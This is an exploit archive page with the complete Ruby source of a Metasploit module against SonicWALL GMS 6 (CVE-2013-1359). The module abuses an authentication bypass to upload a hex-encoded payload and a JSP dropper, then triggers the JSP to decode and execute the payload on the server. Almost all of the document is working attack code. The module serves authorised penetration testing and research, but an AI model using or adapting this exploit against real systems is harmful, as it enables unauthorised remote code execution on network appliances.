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SonicWALL GMS 6 Arbitrary File Upload

SonicWALL GMS 6 Arbitrary File Upload
Posted Jan 25, 2013
Authored by Nikolas Sotiriu, juan vazquez, Julian Vilas | Site metasploit.com

This Metasploit module exploits a code execution flaw in SonicWALL GMS. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the Web Administration interface allows to abuse the "appliance" application and upload an arbitrary payload embedded in a JSP. The module has been tested successfully on SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run successfully while testing, shell payload have been used.

tags | exploit, web, arbitrary, shell, vulnerability, code execution
systems | linux, windows
advisories | CVE-2013-1359, OSVDB-89347
MD5 | fc5d142b6cae0c846efb1124e670157a

SonicWALL GMS 6 Arbitrary File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWALL GMS 6 Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in SonicWALL GMS. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
Web Administration interface allows to abuse the "appliance" application and upload
an arbitrary payload embedded in a JSP. The module has been tested successfully on
SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual
Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run
successfully while testing, shell payload have been used.
},
'Author' =>
[
'Nikolas Sotiriu', # Vulnerability Discovery
'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1359'],
[ 'OSVDB', '89347' ],
[ 'BID', '57445' ],
[ 'EDB', '24204' ]
],
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 17 2012'))

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
], self.class)
end


def on_new_session
# on_new_session will force stdapi to load (for Linux meterpreter)
end


def generate_jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)

jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"

jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"

jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"

jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"

jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"

jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"

jspraw << "%>\n"
return jspraw
end

def get_install_path
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'method' => 'POST',
'connection' => 'TE, close',
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'vars_post' => {
'num' => '123456',
'action' => 'show_diagnostics',
'task' => 'search',
'item' => 'application_log',
'criteria' => '*.*',
'width' => '500'
}
})

if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/
return $1
end

return nil
end

def upload_file(location, filename, contents)
post_data = Rex::MIME::Message.new
post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"")
post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"")
post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"")
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"")

data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

res = send_request_cgi(
{
'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1",
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'TE' => "deflate,gzip;q=0.3",
},
'connection' => 'TE, close'
})

if res and res.code == 200 and res.body.empty?
return true
else
return false
end
end

def check
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'

if get_install_path.nil?
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Vulnerable
end

def exploit
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'

# Get Tomcat installation path
print_status("#{@peer} - Retrieving Tomcat installation path...")
install_path = get_install_path

if install_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path")
end

print_good("#{@peer} - Tomcat installed on #{install_path}")

if target['Platform'] == "linux"
@location = "#{install_path}webapps/appliance/"
elsif target['Platform'] == "win"
@location = "#{install_path}webapps\\appliance\\"
end


# Upload the JSP and the raw payload
@jsp_name = rand_text_alphanumeric(8+rand(8))

jspraw = generate_jsp

# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]

print_status("#{@peer} - Uploading the payload")

if upload_file(@location, "#{@var_hexfile}.txt", payload_hex)
print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt")
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload")
end

print_status("#{@peer} - Uploading the payload")

if upload_file(@location, "#{@jsp_name}.jsp", jspraw)
print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp")
else
fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp")
end

print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
res = send_request_cgi(
{
'uri' => "#{@uri}appliance/#{@jsp_name}.jsp",
'method' => 'GET'
})

if res and res.code != 200
print_warning("#{@peer} - Error triggering the payload")
end

register_files_for_cleanup("#{@location}#{@var_hexfile}.txt")
register_files_for_cleanup("#{@location}#{@jsp_name}.jsp")
end

end

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